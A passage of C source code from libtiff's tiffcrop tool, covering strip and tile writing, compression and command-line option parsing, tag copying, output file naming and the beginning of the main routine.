TIFFVStripSize(out, nrows); src = buf + (row * rowsize); total_bytes += stripsize; memset (obuf, '\0', rowstripsize); if (extractContigSamplesToBuffer(obuf, src, nrows, width, s, spp, bps, dump)) { _TIFFfree(obuf); return 1; } if ((dump->outfile != NULL) && (dump->level == 1)) { dump_info(dump->outfile, dump->format,"", "Sample %2d, Strip: %2d, bytes: %4d, Row %4d, bytes: %4d, Input offset: %6d", s + 1, strip + 1, stripsize, row + 1, scanlinesize, src - buf); dump_buffer(dump->outfile, dump->format, nrows, scanlinesize, row, obuf); } if (TIFFWriteEncodedStrip(out, strip++, obuf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); _TIFFfree(obuf); return 1; } } } _TIFFfree(obuf); return 0; } /* Extract all planes from contiguous buffer into a single tile buffer * to be written out as a tile. */ static int writeBufferToContigTiles (TIFF* out, uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp, struct dump_opts* dump) { uint16 bps; uint32 tl, tw; uint32 row, col, nrow, ncol; uint32 src_rowsize, col_offset; uint32 tile_rowsize = TIFFTileRowSize(out); uint8* bufp = (uint8*) buf; tsize_t tile_buffsize = 0; tsize_t tilesize = TIFFTileSize(out); unsigned char *tilebuf = NULL; if( !TIFFGetField(out, TIFFTAG_TILELENGTH, &tl) || !TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw) || !TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps) ) return 1; if (tilesize == 0 || tile_rowsize == 0 || tl == 0 || tw == 0) { TIFFError("writeBufferToContigTiles", "Tile size, tile row size, tile width, or tile length is zero"); exit(-1); } tile_buffsize = tilesize; if (tilesize < (tsize_t)(tl * tile_rowsize)) { #ifdef DEBUG2 TIFFError("writeBufferToContigTiles", "Tilesize %lu is too small, using alternate calculation %u", tilesize, tl * tile_rowsize); #endif tile_buffsize = tl * tile_rowsize; if (tl != tile_buffsize / tile_rowsize) { TIFFError("writeBufferToContigTiles", "Integer overflow when calculating buffer size"); exit(-1); } } tilebuf = _TIFFmalloc(tile_buffsize); if (tilebuf == 0) return 1; src_rowsize = ((imagewidth * spp * bps) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { /* Calculate visible portion of tile. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; col_offset = (((col * bps * spp) + 7) / 8); bufp = buf + (row * src_rowsize) + col_offset; if (extractContigSamplesToTileBuffer(tilebuf, bufp, nrow, ncol, imagewidth, tw, 0, spp, spp, bps, dump) > 0) { TIFFError("writeBufferToContigTiles", "Unable to extract data to tile for row %lu, col %lu", (unsigned long) row, (unsigned long)col); _TIFFfree(tilebuf); return 1; } if (TIFFWriteTile(out, tilebuf, col, row, 0, 0) < 0) { TIFFError("writeBufferToContigTiles", "Cannot write tile at %lu %lu", (unsigned long) col, (unsigned long) row); _TIFFfree(tilebuf); return 1; } } } _TIFFfree(tilebuf); return 0; } /* end writeBufferToContigTiles */ /* Extract each plane from contiguous buffer into a single tile buffer * to be written out as a tile. */ static int writeBufferToSeparateTiles (TIFF* out, uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp, struct dump_opts * dump) { tdata_t obuf = _TIFFmalloc(TIFFTileSize(out)); uint32 tl, tw; uint32 row, col, nrow, ncol; uint32 src_rowsize, col_offset; uint16 bps; tsample_t s; uint8* bufp = (uint8*) buf; if (obuf == NULL) return 1; TIFFGetField(out, TIFFTAG_TILELENGTH, &tl); TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw); TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps); src_rowsize = ((imagewidth * spp * bps) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { /* Calculate visible portion of tile. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; col_offset = (((col * bps * spp) + 7) / 8); bufp = buf + (row * src_rowsize) + col_offset; for (s = 0; s < spp; s++) { if (extractContigSamplesToTileBuffer(obuf, bufp, nrow, ncol, imagewidth, tw, s, 1, spp, bps, dump) > 0) { TIFFError("writeBufferToSeparateTiles", "Unable to extract data to tile for row %lu, col %lu sample %d", (unsigned long) row, (unsigned long)col, (int)s); _TIFFfree(obuf); return 1; } if (TIFFWriteTile(out, obuf, col, row, 0, s) < 0) { TIFFError("writeBufferToseparateTiles", "Cannot write tile at %lu %lu sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); _TIFFfree(obuf); return 1; } } } } _TIFFfree(obuf); return 0; } /* end writeBufferToSeparateTiles */ static void processG3Options(char* cp) { if( (cp = strchr(cp, ':')) ) { if (defg3opts == (uint32) -1) defg3opts = 0; do { cp++; if (strneq(cp, "1d", 2)) defg3opts &= ~GROUP3OPT_2DENCODING; else if (strneq(cp, "2d", 2)) defg3opts |= GROUP3OPT_2DENCODING; else if (strneq(cp, "fill", 4)) defg3opts |= GROUP3OPT_FILLBITS; else usage(); } while( (cp = strchr(cp, ':')) ); } } static int processCompressOptions(char* opt) { char* cp = NULL; if (strneq(opt, "none",4)) { defcompression = COMPRESSION_NONE; } else if (streq(opt, "packbits")) { defcompression = COMPRESSION_PACKBITS; } else if (strneq(opt, "jpeg", 4)) { cp = strchr(opt, ':'); defcompression = COMPRESSION_JPEG; while (cp) { if (isdigit((int)cp[1])) quality = atoi(cp + 1); else if (strneq(cp + 1, "raw", 3 )) jpegcolormode = JPEGCOLORMODE_RAW; else if (strneq(cp + 1, "rgb", 3 )) jpegcolormode = JPEGCOLORMODE_RGB; else usage(); cp = strchr(cp + 1, ':'); } } else if (strneq(opt, "g3", 2)) { processG3Options(opt); defcompression = COMPRESSION_CCITTFAX3; } else if (streq(opt, "g4")) { defcompression = COMPRESSION_CCITTFAX4; } else if (strneq(opt, "lzw", 3)) { cp = strchr(opt, ':'); if (cp) defpredictor = atoi(cp+1); defcompression = COMPRESSION_LZW; } else if (strneq(opt, "zip", 3)) { cp = strchr(opt, ':'); if (cp) defpredictor = atoi(cp+1); defcompression = COMPRESSION_ADOBE_DEFLATE; } else return (0); return (1); } static void usage(void) { int i; fprintf(stderr, "\n%s\n", TIFFGetVersion()); for (i = 0; usage_info[i] != NULL; i++) fprintf(stderr, "%s\n", usage_info[i]); exit(-1); } #define CopyField(tag, v) \ if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v) #define CopyField2(tag, v1, v2) \ if (TIFFGetField(in, tag, &v1, &v2)) TIFFSetField(out, tag, v1, v2) #define CopyField3(tag, v1, v2, v3) \ if (TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3) #define CopyField4(tag, v1, v2, v3, v4) \ if (TIFFGetField(in, tag, &v1, &v2, &v3, &v4)) TIFFSetField(out, tag, v1, v2, v3, v4) static void cpTag(TIFF* in, TIFF* out, uint16 tag, uint16 count, TIFFDataType type) { switch (type) { case TIFF_SHORT: if (count == 1) { uint16 shortv; CopyField(tag, shortv); } else if (count == 2) { uint16 shortv1, shortv2; CopyField2(tag, shortv1, shortv2); } else if (count == 4) { uint16 *tr, *tg, *tb, *ta; CopyField4(tag, tr, tg, tb, ta); } else if (count == (uint16) -1) { uint16 shortv1; uint16* shortav; CopyField2(tag, shortv1, shortav); } break; case TIFF_LONG: { uint32 longv; CopyField(tag, longv); } break; case TIFF_RATIONAL: if (count == 1) { float floatv; CopyField(tag, floatv); } else if (count == (uint16) -1) { float* floatav; CopyField(tag, floatav); } break; case TIFF_ASCII: { char* stringv; CopyField(tag, stringv); } break; case TIFF_DOUBLE: if (count == 1) { double doublev; CopyField(tag, doublev); } else if (count == (uint16) -1) { double* doubleav; CopyField(tag, doubleav); } break; default: TIFFError(TIFFFileName(in), "Data type %d is not supported, tag %d skipped", tag, type); } } static struct cpTag { uint16 tag; uint16 count; TIFFDataType type; } tags[] = { { TIFFTAG_SUBFILETYPE, 1, TIFF_LONG }, { TIFFTAG_THRESHHOLDING, 1, TIFF_SHORT }, { TIFFTAG_DOCUMENTNAME, 1, TIFF_ASCII }, { TIFFTAG_IMAGEDESCRIPTION, 1, TIFF_ASCII }, { TIFFTAG_MAKE, 1, TIFF_ASCII }, { TIFFTAG_MODEL, 1, TIFF_ASCII }, { TIFFTAG_MINSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_MAXSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_XRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_YRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_PAGENAME, 1, TIFF_ASCII }, { TIFFTAG_XPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_YPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_RESOLUTIONUNIT, 1, TIFF_SHORT }, { TIFFTAG_SOFTWARE, 1, TIFF_ASCII }, { TIFFTAG_DATETIME, 1, TIFF_ASCII }, { TIFFTAG_ARTIST, 1, TIFF_ASCII }, { TIFFTAG_HOSTCOMPUTER, 1, TIFF_ASCII }, { TIFFTAG_WHITEPOINT, (uint16) -1, TIFF_RATIONAL }, { TIFFTAG_PRIMARYCHROMATICITIES,(uint16) -1,TIFF_RATIONAL }, { TIFFTAG_HALFTONEHINTS, 2, TIFF_SHORT }, { TIFFTAG_INKSET, 1, TIFF_SHORT }, { TIFFTAG_DOTRANGE, 2, TIFF_SHORT }, { TIFFTAG_TARGETPRINTER, 1, TIFF_ASCII }, { TIFFTAG_SAMPLEFORMAT, 1, TIFF_SHORT }, { TIFFTAG_YCBCRCOEFFICIENTS, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_YCBCRSUBSAMPLING, 2, TIFF_SHORT }, { TIFFTAG_YCBCRPOSITIONING, 1, TIFF_SHORT }, { TIFFTAG_REFERENCEBLACKWHITE, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_EXTRASAMPLES, (uint16) -1, TIFF_SHORT }, { TIFFTAG_SMINSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_SMAXSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_STONITS, 1, TIFF_DOUBLE }, }; #define NTAGS (sizeof (tags) / sizeof (tags[0])) #define CopyTag(tag, count, type) cpTag(in, out, tag, count, type) /* Functions written by Richard Nolde, with exceptions noted. */ void process_command_opts (int argc, char *argv[], char *mp, char *mode, uint32 *dirnum, uint16 *defconfig, uint16 *deffillorder, uint32 *deftilewidth, uint32 *deftilelength, uint32 *defrowsperstrip, struct crop_mask *crop_data, struct pagedef *page, struct dump_opts *dump, unsigned int *imagelist, unsigned int *image_count ) { int c, good_args = 0; char *opt_offset = NULL; /* Position in string of value sought */ char *opt_ptr = NULL; /* Pointer to next token in option set */ char *sep = NULL; /* Pointer to a token separator */ unsigned int i, j, start, end; #if !HAVE_DECL_OPTARG extern int optind; extern char* optarg; #endif *mp++ = 'w'; *mp = '\0'; while ((c = getopt(argc, argv, "ac:d:e:f:hil:m:p:r:stvw:z:BCD:E:F:H:I:J:K:LMN:O:P:R:S:U:V:X:Y:Z:")) != -1) { good_args++; switch (c) { case 'a': mode[0] = 'a'; /* append to output */ break; case 'c': if (!processCompressOptions(optarg)) /* compression scheme */ { TIFFError ("Unknown compression option", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'd': start = strtoul(optarg, NULL, 0); /* initial IFD offset */ if (start == 0) { TIFFError ("","Directory offset must be greater than zero"); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } *dirnum = start - 1; break; case 'e': switch (tolower((int) optarg[0])) /* image export modes*/ { case 'c': crop_data->exp_mode = ONE_FILE_COMPOSITE; crop_data->img_mode = COMPOSITE_IMAGES; break; /* Composite */ case 'd': crop_data->exp_mode = ONE_FILE_SEPARATED; crop_data->img_mode = SEPARATED_IMAGES; break; /* Divided */ case 'i': crop_data->exp_mode = FILE_PER_IMAGE_COMPOSITE; crop_data->img_mode = COMPOSITE_IMAGES; break; /* Image */ case 'm': crop_data->exp_mode = FILE_PER_IMAGE_SEPARATED; crop_data->img_mode = SEPARATED_IMAGES; break; /* Multiple */ case 's': crop_data->exp_mode = FILE_PER_SELECTION; crop_data->img_mode = SEPARATED_IMAGES; break; /* Sections */ default: TIFFError ("Unknown export mode","%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'f': if (streq(optarg, "lsb2msb")) /* fill order */ *deffillorder = FILLORDER_LSB2MSB; else if (streq(optarg, "msb2lsb")) *deffillorder = FILLORDER_MSB2LSB; else { TIFFError ("Unknown fill order", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'h': usage(); break; case 'i': ignore = TRUE; /* ignore errors */ break; case 'l': outtiled = TRUE; /* tile length */ *deftilelength = atoi(optarg); break; case 'p': /* planar configuration */ if (streq(optarg, "separate")) *defconfig = PLANARCONFIG_SEPARATE; else if (streq(optarg, "contig")) *defconfig = PLANARCONFIG_CONTIG; else { TIFFError ("Unkown planar configuration", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'r': /* rows/strip */ *defrowsperstrip = atol(optarg); break; case 's': /* generate stripped output */ outtiled = FALSE; break; case 't': /* generate tiled output */ outtiled = TRUE; break; case 'v': TIFFError("Library Release", "%s", TIFFGetVersion()); TIFFError ("Tiffcrop version", "%s, last updated: %s", tiffcrop_version_id, tiffcrop_rev_date); TIFFError ("Tiffcp code", "Copyright (c) 1988-1997 Sam Leffler"); TIFFError (" ", "Copyright (c) 1991-1997 Silicon Graphics, Inc"); TIFFError ("Tiffcrop additions", "Copyright (c) 2007-2010 Richard Nolde"); exit (0); break; case 'w': /* tile width */ outtiled = TRUE; *deftilewidth = atoi(optarg); break; case 'z': /* regions of an image specified as x1,y1,x2,y2:x3,y3,x4,y4 etc */ crop_data->crop_mode |= CROP_REGIONS; for (i = 0, opt_ptr = strtok (optarg, ":"); ((opt_ptr != NULL) && (i < MAX_REGIONS)); (opt_ptr = strtok (NULL, ":")), i++) { crop_data->regions++; if (sscanf(opt_ptr, "%lf,%lf,%lf,%lf", &crop_data->corners[i].X1, &crop_data->corners[i].Y1, &crop_data->corners[i].X2, &crop_data->corners[i].Y2) != 4) { TIFFError ("Unable to parse coordinates for region", "%d %s", i, optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } /* check for remaining elements over MAX_REGIONS */ if ((opt_ptr != NULL) && (i >= MAX_REGIONS)) { TIFFError ("Region list exceeds limit of", "%d regions %s", MAX_REGIONS, optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1);; } break; /* options for file open modes */ case 'B': *mp++ = 'b'; *mp = '\0'; break; case 'L': *mp++ = 'l'; *mp = '\0'; break; case 'M': *mp++ = 'm'; *mp = '\0'; break; case 'C': *mp++ = 'c'; *mp = '\0'; break; /* options for Debugging / data dump */ case 'D': for (i = 0, opt_ptr = strtok (optarg, ","); (opt_ptr != NULL); (opt_ptr = strtok (NULL, ",")), i++) { opt_offset = strpbrk(opt_ptr, ":="); if (opt_offset == NULL) { TIFFError("Invalid dump option", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } *opt_offset = '\0'; /* convert option to lowercase */ end = strlen (opt_ptr); for (i = 0; i < end; i++) *(opt_ptr + i) = tolower((int) *(opt_ptr + i)); /* Look for dump format specification */ if (strncmp(opt_ptr, "for", 3) == 0) { /* convert value to lowercase */ end = strlen (opt_offset + 1); for (i = 1; i <= end; i++) *(opt_offset + i) = tolower((int) *(opt_offset + i)); /* check dump format value */ if (strncmp (opt_offset + 1, "txt", 3) == 0) { dump->format = DUMP_TEXT; strcpy (dump->mode, "w"); } else { if (strncmp(opt_offset + 1, "raw", 3) == 0) { dump->format = DUMP_RAW; strcpy (dump->mode, "wb"); } else { TIFFError("parse_command_opts", "Unknown dump format %s", opt_offset + 1); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } } else { /* Look for dump level specification */ if (strncmp (opt_ptr, "lev", 3) == 0) dump->level = atoi(opt_offset + 1); /* Look for input data dump file name */ if (strncmp (opt_ptr, "in", 2) == 0) { strncpy (dump->infilename, opt_offset + 1, PATH_MAX - 20); dump->infilename[PATH_MAX - 20] = '\0'; } /* Look for output data dump file name */ if (strncmp (opt_ptr, "out", 3) == 0) { strncpy (dump->outfilename, opt_offset + 1, PATH_MAX - 20); dump->outfilename[PATH_MAX - 20] = '\0'; } if (strncmp (opt_ptr, "deb", 3) == 0) dump->debug = atoi(opt_offset + 1); } } if ((strlen(dump->infilename)) || (strlen(dump->outfilename))) { if (dump->level == 1) TIFFError("","Defaulting to dump level 1, no data."); if (dump->format == DUMP_NONE) { TIFFError("", "You must specify a dump format for dump files"); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } break; /* image manipulation routine options */ case 'm': /* margins to exclude from selection, uppercase M was already used */ /* order of values must be TOP, LEFT, BOTTOM, RIGHT */ crop_data->crop_mode |= CROP_MARGINS; for (i = 0, opt_ptr = strtok (optarg, ",:"); ((opt_ptr != NULL) && (i < 4)); (opt_ptr = strtok (NULL, ",:")), i++) { crop_data->margins[i] = atof(opt_ptr); } break; case 'E': /* edge reference */ switch (tolower((int) optarg[0])) { case 't': crop_data->edge_ref = EDGE_TOP; break; case 'b': crop_data->edge_ref = EDGE_BOTTOM; break; case 'l': crop_data->edge_ref = EDGE_LEFT; break; case 'r': crop_data->edge_ref = EDGE_RIGHT; break; default: TIFFError ("Edge reference must be top, bottom, left, or right", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'F': /* flip eg mirror image or cropped segment, M was already used */ crop_data->crop_mode |= CROP_MIRROR; switch (tolower((int) optarg[0])) { case 'h': crop_data->mirror = MIRROR_HORIZ; break; case 'v': crop_data->mirror = MIRROR_VERT; break; case 'b': crop_data->mirror = MIRROR_BOTH; break; default: TIFFError ("Flip mode must be horiz, vert, or both", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'H': /* set horizontal resolution to new value */ page->hres = atof (optarg); page->mode |= PAGE_MODE_RESOLUTION; break; case 'I': /* invert the color space, eg black to white */ crop_data->crop_mode |= CROP_INVERT; /* The PHOTOMETIC_INTERPRETATION tag may be updated */ if (streq(optarg, "black")) { crop_data->photometric = PHOTOMETRIC_MINISBLACK; continue; } if (streq(optarg, "white")) { crop_data->photometric = PHOTOMETRIC_MINISWHITE; continue; } if (streq(optarg, "data")) { crop_data->photometric = INVERT_DATA_ONLY; continue; } if (streq(optarg, "both")) { crop_data->photometric = INVERT_DATA_AND_TAG; continue; } TIFFError("Missing or unknown option for inverting PHOTOMETRIC_INTERPRETATION", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); break; case 'J': /* horizontal margin for sectioned ouput pages */ page->hmargin = atof(optarg); page->mode |= PAGE_MODE_MARGINS; break; case 'K': /* vertical margin for sectioned ouput pages*/ page->vmargin = atof(optarg); page->mode |= PAGE_MODE_MARGINS; break; case 'N': /* list of images to process */ for (i = 0, opt_ptr = strtok (optarg, ","); ((opt_ptr != NULL) && (i < MAX_IMAGES)); (opt_ptr = strtok (NULL, ","))) { /* We do not know how many images are in file yet * so we build a list to include the maximum allowed * and follow it until we hit the end of the file. * Image count is not accurate for odd, even, last * so page numbers won't be valid either. */ if (streq(opt_ptr, "odd")) { for (j = 1; j <= MAX_IMAGES; j += 2) imagelist[i++] = j; *image_count = (MAX_IMAGES - 1) / 2; break; } else { if (streq(opt_ptr, "even")) { for (j = 2; j <= MAX_IMAGES; j += 2) imagelist[i++] = j; *image_count = MAX_IMAGES / 2; break; } else { if (streq(opt_ptr, "last")) imagelist[i++] = MAX_IMAGES; else /* single value between commas */ { sep = strpbrk(opt_ptr, ":-"); if (!sep) imagelist[i++] = atoi(opt_ptr); else { *sep = '\0'; start = atoi (opt_ptr); if (!strcmp((sep + 1), "last")) end = MAX_IMAGES; else end = atoi (sep + 1); for (j = start; j <= end && j - start + i < MAX_IMAGES; j++) imagelist[i++] = j; } } } } } *image_count = i; break; case 'O': /* page orientation */ switch (tolower((int) optarg[0])) { case 'a': page->orient = ORIENTATION_AUTO; break; case 'p': page->orient = ORIENTATION_PORTRAIT; break; case 'l': page->orient = ORIENTATION_LANDSCAPE; break; default: TIFFError ("Orientation must be portrait, landscape, or auto.", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'P': /* page size selection */ if (sscanf(optarg, "%lfx%lf", &page->width, &page->length) == 2) { strcpy (page->name, "Custom"); page->mode |= PAGE_MODE_PAPERSIZE; break; } if (get_page_geometry (optarg, page)) { if (!strcmp(optarg, "list")) { TIFFError("", "Name Width Length (in inches)"); for (i = 0; i < MAX_PAPERNAMES - 1; i++) TIFFError ("", "%-15.15s %5.2f %5.2f", PaperTable[i].name, PaperTable[i].width, PaperTable[i].length); exit (-1); } TIFFError ("Invalid paper size", "%s", optarg); TIFFError ("", "Select one of:"); TIFFError("", "Name Width Length (in inches)"); for (i = 0; i < MAX_PAPERNAMES - 1; i++) TIFFError ("", "%-15.15s %5.2f %5.2f", PaperTable[i].name, PaperTable[i].width, PaperTable[i].length); exit (-1); } else { page->mode |= PAGE_MODE_PAPERSIZE; } break; case 'R': /* rotate image or cropped segment */ crop_data->crop_mode |= CROP_ROTATE; switch (strtoul(optarg, NULL, 0)) { case 90: crop_data->rotation = (uint16)90; break; case 180: crop_data->rotation = (uint16)180; break; case 270: crop_data->rotation = (uint16)270; break; default: TIFFError ("Rotation must be 90, 180, or 270 degrees clockwise", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'S': /* subdivide into Cols:Rows sections, eg 3:2 would be 3 across and 2 down */ sep = strpbrk(optarg, ",:"); if (sep) { *sep = '\0'; page->cols = atoi(optarg); page->rows = atoi(sep +1); } else { page->cols = atoi(optarg); page->rows = atoi(optarg); } if ((page->cols * page->rows) > MAX_SECTIONS) { TIFFError ("Limit for subdivisions, ie rows x columns, exceeded", "%d", MAX_SECTIONS); exit (-1); } page->mode |= PAGE_MODE_ROWSCOLS; break; case 'U': /* units for measurements and offsets */ if (streq(optarg, "in")) { crop_data->res_unit = RESUNIT_INCH; page->res_unit = RESUNIT_INCH; } else if (streq(optarg, "cm")) { crop_data->res_unit = RESUNIT_CENTIMETER; page->res_unit = RESUNIT_CENTIMETER; } else if (streq(optarg, "px")) { crop_data->res_unit = RESUNIT_NONE; page->res_unit = RESUNIT_NONE; } else { TIFFError ("Illegal unit of measure","%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'V': /* set vertical resolution to new value */ page->vres = atof (optarg); page->mode |= PAGE_MODE_RESOLUTION; break; case 'X': /* selection width */ crop_data->crop_mode |= CROP_WIDTH; crop_data->width = atof(optarg); break; case 'Y': /* selection length */ crop_data->crop_mode |= CROP_LENGTH; crop_data->length = atof(optarg); break; case 'Z': /* zones of an image X:Y read as zone X of Y */ crop_data->crop_mode |= CROP_ZONES; for (i = 0, opt_ptr = strtok (optarg, ","); ((opt_ptr != NULL) && (i < MAX_REGIONS)); (opt_ptr = strtok (NULL, ",")), i++) { crop_data->zones++; opt_offset = strchr(opt_ptr, ':'); if (!opt_offset) { TIFFError("Wrong parameter syntax for -Z", "tiffcrop -h"); exit(-1); } *opt_offset = '\0'; crop_data->zonelist[i].position = atoi(opt_ptr); crop_data->zonelist[i].total = atoi(opt_offset + 1); } /* check for remaining elements over MAX_REGIONS */ if ((opt_ptr != NULL) && (i >= MAX_REGIONS)) { TIFFError("Zone list exceeds region limit", "%d", MAX_REGIONS); exit (-1); } break; case '?': TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); /*NOTREACHED*/ } } } /* end process_command_opts */ /* Start a new output file if one has not been previously opened or * autoindex is set to non-zero. Update page and file counters * so TIFFTAG PAGENUM will be correct in image. */ static int update_output_file (TIFF **tiffout, char *mode, int autoindex, char *outname, unsigned int *page) { static int findex = 0; /* file sequence indicator */ char *sep; char filenum[16]; char export_ext[16]; char exportname[PATH_MAX]; if (autoindex && (*tiffout != NULL)) { /* Close any export file that was previously opened */ TIFFClose (*tiffout); *tiffout = NULL; } strcpy (export_ext, ".tiff"); memset (exportname, '\0', PATH_MAX); /* Leave room for page number portion of the new filename */ strncpy (exportname, outname, PATH_MAX - 16); if (*tiffout == NULL) /* This is a new export file */ { if (autoindex) { /* create a new filename for each export */ findex++; if ((sep = strstr(exportname, ".tif")) || (sep = strstr(exportname, ".TIF"))) { strncpy (export_ext, sep, 5); *sep = '\0'; } else strncpy (export_ext, ".tiff", 5); export_ext[5] = '\0'; /* MAX_EXPORT_PAGES limited to 6 digits to prevent string overflow of pathname */ if (findex > MAX_EXPORT_PAGES) { TIFFError("update_output_file", "Maximum of %d pages per file exceeded", MAX_EXPORT_PAGES); return 1; } snprintf(filenum, sizeof(filenum), "-%03d%s", findex, export_ext); filenum[14] = '\0'; strncat (exportname, filenum, 15); } exportname[PATH_MAX - 1] = '\0'; *tiffout = TIFFOpen(exportname, mode); if (*tiffout == NULL) { TIFFError("update_output_file", "Unable to open output file %s", exportname); return 1; } *page = 0; return 0; } else (*page)++; return 0; } /* end update_output_file */ int main(int argc, char* argv[]) { #if !HAVE_DECL_OPTARG extern int optind; #endif uint16 defconfig = (uint16) -1; uint16 deffillorder = 0; uint32 deftilewidth = (uint32) 0; uint32 deftilelength = (uint32) 0; uint32 defrowsperstrip = (uint32) 0; uint32 dirnum = 0; TIFF *in = NULL; TIFF *out = NULL; char mode[10]; char *mp = mode; /** RJN additions **/ struct image_data image; /* Image parameters for one image */ struct crop_mask crop; /* Cropping parameters for all images */ struct pagedef page; /* Page definition for output pages */ struct pageseg sections[MAX_SECTIONS]; /* Sections of one output page */ struct buffinfo seg_buffs[MAX_SECTIONS]; /* Segment buffer sizes and pointers */ struct dump_opts dump; /* Data dump options */ unsigned char *read_buff = NULL; /* Input image data buffer */ unsigned char *crop_buff = NULL; /* Crop area buffer */ unsigned char *sect_buff = NULL; /* Image section buffer */ unsigned char *sect_src = NULL; /* Image section buffer pointer */ unsigned int imagelist[MAX_IMAGES + 1]; /* individually specified images */ unsigned int image_count = 0; unsigned int dump_images = 0; unsigned int next_image = 0; unsigned int next_page = 0; unsigned int total_pages = 0; unsigned int total_images = 0; unsigned int end_of_input = FALSE; int seg, length; char temp_filename[PATH_MAX + 1]; little_endian = *((unsigned char *)&little_endian) & '1'; initImageData(&image); initCropMasks(&crop); initPageSetup(&page, sections, seg_buffs); initDumpOptions(&dump); process_command_opts (argc, argv, mp, mode, &dirnum, &defconfig, &deffillorder, &deftilewidth, &deftilelength, &defrowsperstrip, &crop, &page, &dump, imagelist, &image_count); if (argc - optind < 2) usage(); if ((argc - optind) == 2) pageNum = -1; else total_images = 0; /* read multiple input files and write to output file(s) */ while (optind < argc - 1) { in = TIFFOpen (argv[optind], "r"); if (in == NULL) return (-3); /* If only one input file is specified, we can use directory count */ total_images = TIFFNumberOfDirectories(in); if (image_count == 0) { dirnum = 0; total_pages = total_images; /* Only valid with single input file */ } else { dirnum = (tdir_t)(imagelist[next_image] - 1); next_image++; /* Total pages only valid for enumerated list of pages not derived * using odd, even, or last keywords. */ if (image_count > total_images) image_count = total_images; total_pages = image_count; } /* MAX_IMAGES is used for special case "last" in selection list */ if (dirnum == (MAX_IMAGES - 1)) dirnum = total_images - 1; if (dirnum > (total_images)) { TIFFError (TIFFFileName(in), "Invalid image number %d, File contains only %d images", (int)dirnum + 1, total_images); if (out != NULL) (void) TIFFClose(out); return (1); } if (dirnum != 0 && !TIFFSetDirectory(in, (tdir_t)dirnum)) { TIFFError(TIFFFileName(in),"Error, setting subdirectory at %d", dirnum); if (out != NULL) (void) TIFFClose(out); return (1); } end_of_input = FALSE; while (end_of_input == FALSE) { config = defconfig; compression = defcompression; predictor = defpredictor; fillorder = deffillorder; rowsperstrip = defrowsperstrip; tilewidth = deftilewidth; tilelength = deftilelength; g3opts = defg3opts; if (dump.format != DUMP_NONE) { /* manage input and/or output dump files here */ dump_images++; length = strlen(dump.infilename); if (length > 0) { if (dump.infile != NULL) fclose (dump.infile); /* dump.infilename is guaranteed to be NUL termimated and have 20 bytes fewer than PATH_MAX */ snprintf(temp_filename, sizeof(temp_filename), "%s-read-%03d.%s", dump.infilename, dump_images, (dump.format == DUMP_TEXT) ? "txt" : "raw"); if ((dump.infile = fopen(temp_filename, dump.mode)) == NULL) { TIFFError ("Unable to open dump file for writing", "%s", temp_filename); exit (-1); } dump_info(dump.infile, dump.format, "Reading image","%d from %s", dump_images, TIFFFileName(in)); } length = strlen(dump.outfilename); if (length > 0) { if (dump.outfile != NULL) fclose (dump.outfile); /* dump.outfilename is guaranteed to be NUL termimated and have 20 bytes fewer than PATH_MAX */ snprintf(temp_filename, sizeof(temp_filename), "%s-write-%03d.%s", dump.outfilename, dump_images, (dump.format == DUMP_TEXT) ? "txt" : "raw"); if ((dump.outfile = fopen(temp_filename, dump.mode)) == NULL) { TIFFError ("Unable to open dump file for writing", "%s", temp_filename); exit (-1); } dump_info(dump.outfile, dump.format, "Writing image","%d from %s", dump_images, TIFFFileName(in)); } } if (dump.debug) TIFFError("main", "Reading image %4d of %4d total pages.", dirnum + 1, total_pages); if (loadImage(in, &image, &dump, &read_buff)) { TIFFError("main", "Unable to load source image"); exit (-1); } /* Correct the image orientation if it was not ORIENTATION_TOPLEFT. */ if (image.adjustments != 0) { if (correct_orientation(&image, &read_buff)) TIFFError("main", "Unable to correct image orientation"); } if (getCropOffsets(&image, &crop, &dump)) { TIFFError("main", 